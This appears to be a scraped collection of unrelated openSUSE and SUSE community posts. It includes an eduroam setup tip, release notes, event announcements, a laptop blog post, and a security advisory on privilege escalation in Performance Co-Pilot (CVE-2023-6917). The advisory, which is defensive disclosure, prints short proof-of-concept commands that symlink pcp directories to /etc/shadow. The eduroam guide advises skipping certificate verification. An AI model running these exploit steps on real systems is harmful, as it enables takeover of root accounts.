I tried to setup eduroam for the Humboldt University of Berlin (Humboldt Universität in Berlin) using the app advertised in the manual: geteduroam

Unfortunately, the app crashes on my Android phone. If this is your case as well, proceed as follows:

1. download the CA certificate hu-ca-2024.crt¹
2. go to your wifi settings and select eduroam to setup this wifi
3. use TTLS/PAP (I forgot which one)
4. add anonymous identity: eduroam@hu-berlin.de
5. add username as username@hu-berlin.de (use username@physik.hu-berlin.de or username@mathematik.hu-berlin.de if your account is with those faculties)
6. add as CA certificate the file downloaded before
7. do not verify this certificate
8. add as domain: hu-berlin.de

Note that other universities may require other setups.

1) Introduction

Performance Co-Pilot (pcp) is a performance analysis toolkit that allows to gather and evaluate data on a local system and also share this data over the network in a distributed manner.

During routine reviews we noticed issues in pcp on Linux with directory permissions that allow to locally escalate privileges from the pcp service user to root.

These findings are based on the 5.3.7 version release of pcp. CVE-2023-6917 has been assigned for this class of issues in pcp.

2) Service User And Directory Permissions

The systemd services shipped with pcp run with mixed privileges. Some use only limited pcp user/group privileges, like “pmie_check.service”. Others like “pmcd.service” run with full root privileges. The pmcd daemon implements the networking logic of pcp. It drops privileges from root to pcp during startup.

The different pcp programs use a shared directory structure:

• /var/lib/pcp/tmp owned by pcp:pcp mode 0775
• /var/log/pcp owned by pcp:pcp mode 0775

When privileged processes running as root access files in directories or directory trees controlled by unprivileged users, then easily security issues can result from this. For the directories listed above, we quickly found the two exploitable issues that are described in the following sections.

3a) Startup Script for pmcd runs chown for $PCP_TMP_DIR/pmlogger

The “pmcd.service” runs with root privileges and executes the bash script “/usr/libexec/pcp/lib/pmcd” (named “rc_pmcd” in the Git source repository). Within this script the following code runs as part of the start routine, found in function _reboot_setup():

 if [ ! -d "$PCP_TMP_DIR/pmlogger" ]
 then
     mkdir -p -m 775 "$PCP_TMP_DIR/pmlogger"
     chown $PCP_USER:$PCP_GROUP "$PCP_TMP_DIR/pmlogger"
     if which restorecon >/dev/null 2>&1
     then
         restorecon -r "$PCP_TMP_DIR"
     fi
 else

$PCP_TMP_DIR in this context refers to “/var/lib/pcp/tmp”, owned by pcp:pcp mode 0775. Since the shell code above does not exit on errors, a compromised pcp user doesn’t even have to win a race condition to perform a symlink attack. The following exploit works:

# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp  $ cd /var/lib/pcp/tmp
pcp  $ rm -r pmlogger
pcp  $ ln -s /etc/shadow pmlogger
pcp  $ exit
root # systemctl start pcmd.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec  7 15:47 /etc/shadow

3b) Startup Script for pmproxy runs chown in $RUN_DIR

The “pmproxy.service” runs with root privileges and executes the bash script “/usr/libexec/pcp/lib/pmproxy” (named rc_pmproxy in the Git source repository). Within this script the following code runs as part of the start (and other) routines:

# create directory which will serve as cwd
if [ ! -d "$RUNDIR" ]
then
    mkdir -p -m 775 "$RUNDIR"
    chown $PCP_USER:$PCP_GROUP "$RUNDIR"
fi

$RUN_DIR in this context refers to “/var/log/pcp/pmproxy”. “/var/log/pcp” is owned by pcp:pcp mode 0775. Similar to the exploit described in section 3a), no race condition has to be won to exploit this:

# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp  $ cd /var/log/pcp
pcp  $ rm -rf pmproxy
pcp  $ ln -s /etc/shadow pmproxy
pcp  $ exit
root # systemctl start pmproxy.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec  7 15:47 /etc/shadow

4) Summary

We only picked two of the more obvious security issues that result from root processes operating on these pcp owned directories. There are likely more issues of the same class lingering in the pcp scripts that run as root. Given this, the user separation of pcp can be considered nonexistent in its current form, and the pcp user should be treated equal to root.

The pcp service user is also used for the network facing pmcd component, thus these issues strongly impact defense in depth for pcp, for the scenario when an attacker finds a way to exploit the network daemon.

5) Bugfix

Upstream performed a wider redesign of the privilege separation handling in pcp components. The pull request corresponding to this contains a large number of commits. It is difficult to isolate any simple patches from that.

In our Bugzilla bug that tracks this issue, I attempted to identify the subset of commits relevant to this issue, to help with backporting.

6) Timeline

7) References

• PCP website
• Upstream Pull Request that Addresses the Issues
• List of Relevant Bugfix Commits in our SUSE Bugzilla

The community is headed to Berlin on June 19 for a Community Summit in association with SUSE’s premier annual global technical conference SUSECON.

Registration for the event is open and the Call for Papers is open until May 29. Partners of SUSE, openSUSE, open source community projects and community members that want to participate are encouraged to register for the summit and submit a talk.

The schedule for the Community Summit will be released on May 30.

There is a Community track and an open source track. There are two types of talks that can be submitted for the summit. One is a short talk with a 15-minute limit and the other is a standard talk with a 30-minute limit.

Attendees of SUSECON are also welcome to attend and submit talks. The Community Summit is a free community event that will take place on the last day of SUSECON.

The summit will take place a week before the openSUSE Conference in Nuremberg, so attendees of SUSECON should consider staying for the openSUSE Project’s annual conference and submit a technical talk. For small- and medium-sized enterprises, there will be a 4-hour Open 4 Business networking event held on June 26 next to SUSE’s offices in Nuremberg.

Contact ddemaio (@) opensuse.org if you have any questions concerning the summit.

Dear Tumbleweed users and hackers,

This week, we had once again openQA blocking the release of one snapshot and protecting some of our users (using the experimental sdboot/disk-encryption). openQA has identified an inconsistency in snapshot 0215 and found that systems with this update would fail to unlock their disks. The fix landed in snapshot 0216. openQA confirmed the fix and the five snapshots 0216, 0218, 0220, 0221, and 0222 have been published.

The most relevant changes in those releases were:

• Mozilla Firefox 122.0.1
• bind 9.18.24
• dav1d 1.4.0
• PHP 8.2.16
• Poppler 24.02.0
• Shadow 4.14.5
• Mesa 23.3.6
• Meson 1.3.2
• binutils 2.42
• GCC 14 is now the libgcc provider. GCC 13 is still the default compiler being used
• Linux kernel 6.7.5
• pkgconf 2.1.1
• Node.JS 21.6.2
• Qt 6.6.2
• Systemd 254.9
• perl-Bootloader 1.12: no longer written in perl (package name change to happen later)
• Qemu 8.2.1
• Lots of packages preparing for RPM 4.20 (%patchN no longer supported) (~ 600 out of 2000 packages fixed this week)
• RPM: enable reproducible builds by default (bsc#1148824)

In my opinion, that’s quite an impressive list. Soon (and a bit more distant) we will be shipping these changes:

• Ruby 3.2 deprecation: ruby3.2 all ruby3.2-rubygem packages will be removed from Tumbleweed
• python 3.9 deprecation: all python39-* packages are scheduled for removal. We still have Python 3.10, Python 3.11 (the default interpreter), and Python 3.12 in Tumbleweed. Unfortunately, this road will be bumpy, as many Python packages still do not build for Python 3.12 – and unless the builds succeed, the pytho39-XXX packages will stay lingering in the repository.
• Systemd 255
• Many more package fixes to prepare for RPM 4.20
• KDE Frameworks and Plasma 6
• dbus-broker: a big step forward; upgrades seem to be an issue that needs to be addressed
• libxml 2.12.x: slow progress
• GCC 14: phase 2: use gcc14 as default compiler

Like many open-source projects, the Uyuni Project has a long tradition of fostering community engagement and open dialogue, which is why those who are interested in configuration management should consider joining the Uyuni Community Hours scheduled for Feb. 24 at 15:00 UTC.

Uyuni Community Hours sessions take place on the last Friday of the month. The sessions offer an invaluable opportunity for both the community and the project’s development team to come together.

During these sessions, participants are presented with the latest developments surrounding Uyuni. This open forum allows the community to ask questions, provide feedback and suggest features or enhancements directly to the development team. This proactive approach helps Uyuni to evolve and align with the needs and expectations of its user base.

The session for this Friday addresses the community’s feedback and needs:

• Meeting Migration Recap: An overview of recent changes to the meeting platform, enhancing accessibility and participation for the community.

• What’s New in Uyuni: A detailed exploration of the latest features and improvements in the February 2024 release of Uyuni.

• Containerized Uyuni: Release Strategy: Insights into the future of Uyuni’s deployment and management within containerized environments.

• Uyuni Health Check: Running on top of a “supportconfig”: Introduction of a new tool designed to simplify and streamline health checks for Uyuni servers.

• One Shot Execution of Recurring Actions: A discussion on enhancing task management and execution within the Uyuni framework.

• Testing, Building, and Publishing the Documentation with GitHub Actions: An innovative approach to maintaining and distributing up-to-date documentation for Uyuni users and developers.

This session is accessible with a detailed agenda and is meant to keep the contributing community well-informed of upcoming topics and discussions. Whether a developer, administrator or an open-source software enthusiast, join the Uyuni Community Hours to offer valuable insights into the project’s progress and future initiatives.

The following article has been contributed by Ancor González Sosa and the YaST team at SUSE.       At the end of 2023, we announced Agama 7, a new service-based installer for Linux. That version was the first prototype we could consider to be ‘functional enough’ for our purposes, as it covers areas such […]

The post The Year of Agama – an outlook to the 2024 roadmap appeared first on SUSE Communities.

Can you run SUSE on a $65 Laptop?

Yeah, but you might not want to.

Of all of the computers that I have owned over the years, the two that remember the most fondly are netbooks. I was one of the first to get an eeePC. I put Ubuntu on it, and a friend at work was able to do some firmware cutting to get all of the hardware enabled. I moved on to the next eeePC version, and then on to one of the most useful computers I ever had, a Dell Mini 10v. I actually bought one for myself, and one for each of my kids. If I remember correctly, I was able to buy them through the Dell partner portal or something. I had a black one, but one of my kids got red, and one got blue. The “10” stood for the 10 inch screen, and the “v” meant that it was a “value” model, which, for me, meant that the graphics were supported with open source intel drivers instead of binary nvidia goo.

The beauty of these computers was that they were small and reasonably light, so I could lug them around to conferences and work trips quite easily. I am sad that I don’t really see anyone making netbooks anymore, but when I saw that you could get an $80 eleven inch computer at Microcenter, and that some folks had some luck installing Linux on it, I decided to go for it. You see, I have some work trips coming up, and I thought it would be nice to have a compact and cheap computer with me for these trips, rather than my expensive high performance laptop that I use as my daily at work.

I’ve always been an early adopter of tech when it reaches new levels of access. For example, my 3D printer was one of the first low drama, low cost printers (thanks Monoprice). I also bought the first sub $500 laptop,which had about 40 minutes of battery life.

“Wait”, you say? The title says $65, but you said it was $80? That’s right, Evolve III Maestro is on sale for $80 at Microcenter. When I went to look at it, I didn’t see it out on display, so I asked about it. It turns out that they don’t have it out, you have to know to ask, and you can’t see it, you have to buy it “sight unseen.” Yikes. The technician helping me said he could check if there was an open box in the back, and if so, he could let me have a look before I bought it. He brought it out, and sure enough, it was a small, cheap computer. I asked if there was a discount for buying the open box, and sure enough, $15 off. So there you go, I got a computer for $65.

The device is … erm … bare bones. For example, no USB-C ports. The keyboard is not exactly an IBM Selectric feel. I have a 5 year old 11 inch MacBook Air that I bought for like $2,000, and let’s just say, the build quality of Evolve III is “not quite at the same level.”

So, how did it go getting Leap on there? Getting into the bios and adjusting the boot menu to boot from my USB install media was pretty easy, after I did some web searches to find that “delete” is the magic key to get into the bios. Unfortunately, the wifi driver for the wifi module is too new, and so the built-in wifi is not supported in Leap 15.5s kernel, and of course there is no Ethernet port. After some confusing loops in the installer trying to get it to install without a network connection, I pulled out a random USB hub with an ethernet adapter that I had in my closet, and then used a USB-C to USB 3 connector. This actually worked.

Given the small screen and the low specs, I opted for xfce for the desktop rather than my normal GNOME choice. Having an easy choice of “roles” at install is sweet.

The install wasn’t exactly fast, but it installed just fine. It occurred to me that instead of struggling with the unsupported built in wifi, I had some wifi dongles lying around, I could use one of those. The first one I tried was RALINK something something, and I looked it up, and there was a kernel module for it, but no package for it. I figured if I was going to go through that much pain, I would rather focus on getting the internal wifi module to work.

After some epic scrounging through a box of rpis, sensors, motors, and other crap, I found an official rpi dongle, that turned out to be an already supported Broadcom wifi modem, so now I have wifi. The dongle doesn’t see my “5g” network, but it works. I figure that making the real wifi work (and documenting it) will be an irresistible challenge for one of the Linux engineers I am surely going to meet up with in the next few months.

So that’s it, it’s mostly running. I installed Cheese to test the webcam, it works just fine.

On the audio side, Pulse doesn’t detect built in speakers or the built in microphone, but it works just fine with my Plantronics headset that SUSE sent me. I can’t really be bothered to make the built in audio work, because I assume that the hardware is going to produce terrible results anyway. There is an 1/8 inch pin connector as well, but I haven’t tried that or bluetooth yet. The bluetooth dialog works so I trust that bluetooth works generally. I barely use bluetooth with laptops, so I leave it off.

Lastly, the computer came with mini HMDI, and I don’t seem to have an adapter for that around, so I will need to pick one up. Because the computer came with Intel graphics, I am confident that it will “just work”, but you never know.

Fortunately, I wrote a blog post about getting my real power house work machine set up, so I was able to follow those steps to get chrome, vscode,and slack installed and running. Xfce-wise I read up on how to do some light configuration, especially getting the apps that I use most on the panel.

All told, I'm thinking this machine might suit for travel. The keyboard is a little awkward, so I miss a lot of characters when I type. When typing in resource hungry web pages, like google docs or slack, it is very laggy. It really makes me miss the days of real netbooks. It’s great that it’s so cheap, but what I wanted was small. I would have rather have a smaller machine with a better build.